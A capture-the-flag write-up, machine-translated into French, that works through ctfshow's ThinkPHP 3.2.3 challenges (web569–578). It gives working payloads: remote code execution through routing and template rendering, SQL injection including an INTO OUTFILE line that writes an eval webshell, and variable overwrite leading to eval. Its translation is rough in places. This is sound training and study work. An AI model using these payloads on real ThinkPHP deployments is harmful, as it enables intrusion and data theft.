ctfshow ThinkPHP - 3.2.3 (569-578)

web569

informations connexes

Reportez-vous au manuel thinkphp
insérez la description de l'image ici
Afin d'accéder à la méthode index dans la figure ci-dessous et de sortir hello 123, nous pouvons passer par les quatre modes suivants.
insérez la description de l'image ici
Mode PATHINFO Mode de compatibilité en mode
http://localhost/index.php/Home/Index/index/name/123/
normal Le paramètre s provient du paramètre VAR_PATH_INFO dans ThinkPHP->Conf->convention.php, nous pouvons donc également le remplacer par d'autres paramètres. Mode RÉÉCRITURE
http://localhost/index.php?m=Home&c=Index&f=index&name=123

http://localhost/index.php?s=Home/Index/index/name/123


http://localhost/Home/Index/index/name/123/

répondre

Il est donc très simple pour nous d'accéder à la méthode ctfshowLogin du contrôleur de connexion du module Admin
url/index.php/Admin/Login/ctfshowLogin

web570

Téléchargez le fichier Application donné par le titre et trouvez une règle de routage dans config.php.
insérez la description de l'image ici

	'URL_ROUTE_RULES' => array(
    'ctfshow/:f/:a' =>function($f,$a){
    
    
    	call_user_func($f, $a);
    	}
    )

Autrement dit, lorsque nous visitons url/index.php/ctfshow/xxx/yyy, call_user_func(xxx, yyy) sera exécuté.
Parce que l'entrée /est difficile, il ne nous est pas possible d'exécuter system('ls /') directement, et nous ne pouvons que changer la méthode.
charge utile :
url/index.php/ctfshow/assert/eval($_POST[1])/poste :1=system('cat /f*');

web571

La variable contrôlable n est vue dans la méthode d'index sous le module home.
insérez la description de l'image ici
Alors étudions cette fonction show.Pour cet aspect, nous ne laissons que les paramètres que nous passons.$n

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    
    
    public function index($n=''){
    
    
     $this->show($n);
    }

Activer le débogage, suivi de l'affichageinsérez la description de l'image ici

En suivant fetch
insérez la description de l'image ici
, vous pouvez voir que le n que nous avons transmis, c'est-à-dire le contenu, entrera dans la fonction eval lorsque TMPL_ENGINE_TYPE est php.

insérez la description de l'image ici
Nous pouvons donc passer directement le code php.
charge utile:
?n=<?php system('cat /f*');?>

web572

Le titre mentionnait blasting. Lorsque thinkphp est activé pour le débogage, un fichier journal sera généré dans le répertoire Runtime. Le nom 年_月_日.logdu nommé d'après. Ainsi, nous pouvons exploser les noms de fichiers
insérez la description de l'image ici

Capture et dynamitage de paquets BP
insérez la description de l'image ici
insérez la description de l'image ici
insérez la description de l'image ici
Vous pouvez voir qu'en plus de notre date du jour, il y a aussi un
insérez la description de l'image ici
journal 21_04_05 avec du code php passé. On estime qu'un cheval de Troie d'une phrase a été écrit en arrière-plan, et le mot de passe est showctf. Alors essayons aussi.
charge utile:
index.php?showctf=<?php system('cat /f*');?>

web573

Il y a beaucoup de contenu et le lien de contenu est écrit séparément

web574

Le titre donne le code source de la page d'accueil

public function index($id=1){
    
    
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}

La différence avec notre analyse de la question précédente est l'emplacement avancé et la recherche avancée, déboguons-le.
Au ?id=1'final, seules les parties marquées ci-dessous sont exécutées dans la fonction where. C'est-à-dire qu'il n'y a
$this->options['where']=array("_string"=>"1'")
insérez la description de l'image ici
pas de différence à l'avant, le focus est dans parseWhere et $wherenotre $this->options['where']valeur est transmise à ce moment array("_string"=>"1'"). Nous entrerons donc ce qui suit si
insérez la description de l'image ici
$keyest '_string' $valoui id=1', donc le contenu final renvoyé est ( id=1 ), donc l'instruction sql exécutée estselect * from xxx where (id=1') limit 1
insérez la description de l'image ici
insérez la description de l'image ici
la charge utile : ?id=0) union select 1,flag4s ,3,4 from flags%23(les étapes de nom de table d'arrêt et de nom de colonne sont omises)

web575

Il y a beaucoup de contenu et le lien de contenu est écrit séparément

web576

Le code source est le suivant

$user = M('Users')->comment($id)->find(intval($id));

Étant donné que l'ID de clé de find utilise intval, la méthode précédente d'injection sql ne peut pas être utilisée. Intéressons-nous ensuite à la fonction comment
, qui attribue une valeur au commentaire des options.
insérez la description de l'image ici
Les étapes précédentes ne seront pas répétées une par une. Voyons où les commentaires sont utilisés
insérez la description de l'image ici

insérez la description de l'image ici
Lorsque nous passons id=1, l'instruction sql finale est select * from users where id=1 limit 1 /* 1*/
donc comment construire la
charge utile est très simple :
?id=1*/ into outfile "/var/www/html/a.php" lines terminated by "<?php eval($_POST[1]);?>" /*

web577

Le code source est le suivant, il y en a plus qu'avant

$map=array(
'id'=>$_GET['id']
);
$user = M('Users')->where($map)->find();

Sa fonction principale est d'affecter la valeur entrante à$this->options['where']
insérez la description de l'image ici

Les options ressemblent maintenant à ceci.
insérez la description de l'image ici
Descendez jusqu'à _parseOptionsla fonction, et la valeur qui val est assignée après avoir traversé la boucle marquée for options['where']. Eh bien, continuons. Lorsque
insérez la description de l'image ici
le parseWhereItem de parseWhere est un tableau, il est affecté à une chaîne. S'il s'agit d'une chaîne , le contenu final renvoyé est une chaîne concaténée , alors comment cela est-il arrivé ? Nous avons souligné ce qui suit : dans la fonction , lorsque la valeur à laquelle val est affecté après la boucle marquée for . En fait, cela revient à attribuer la valeur de l'identifiant que nous avons transmis. Maintenant c'est évident. Tant que le ?id[0]=exp que nous transmettrons entrera, puis l'id[1]=xxx que nous transmettrons sera mis dans l'instruction sql.
insérez la description de l'image ici
$val$val[0]$exp$expexp
$whereStr .= $key.' '.$val[1];id$val[1]$val_parseOptionsoptions['where']
$whereStr .= $key.' '.$val[1];

charge utile:
?id[0]=exp&id[1]==0 union select 1,flag4s,2,3 from flags%23

web578

Le code source est le suivant, commencez le débogage

public function index($name='',$from='ctfshow'){
    
    
	$this->assign($name,$from);
	$this->display('index');
}

La première affectation de fonction est une affectation simple. C'est-à-dire que si nous passons ?name=a&from=b,alors $this->tVar=array('a'=>'b');si nous passons ?name[x]=y,alors $this->tVar=array('x'=>'y');
insérez la description de l'image ici
regardons l'affichage et suivons la récupération
insérez la description de l'image ici
insérez la description de l'image ici
pour voir qu'il existe une fonction d'extraction à $this->tVaropérer à cet endroit.
Supposons $this->tVar=array('a'=>'b');qu'après avoir passé cette fonction , la $avaleur de b sera générée.
Ce qui suit est le point clé. empty($_content)?include $templateFile:eval('?>'.$_content);
Lorsqu'elle $_contentn'est pas vide, la fonction eval sera exécutée, de sorte que vous pouvez trouver que tant que la variable est écrasée, $_contentla code php peut être exécuté
.
?name[_content]=<?php system('cat /f*');?>

Je suppose que tu aimes

Origine blog.csdn.net/miuzzx/article/details/119410335
conseillé
Classement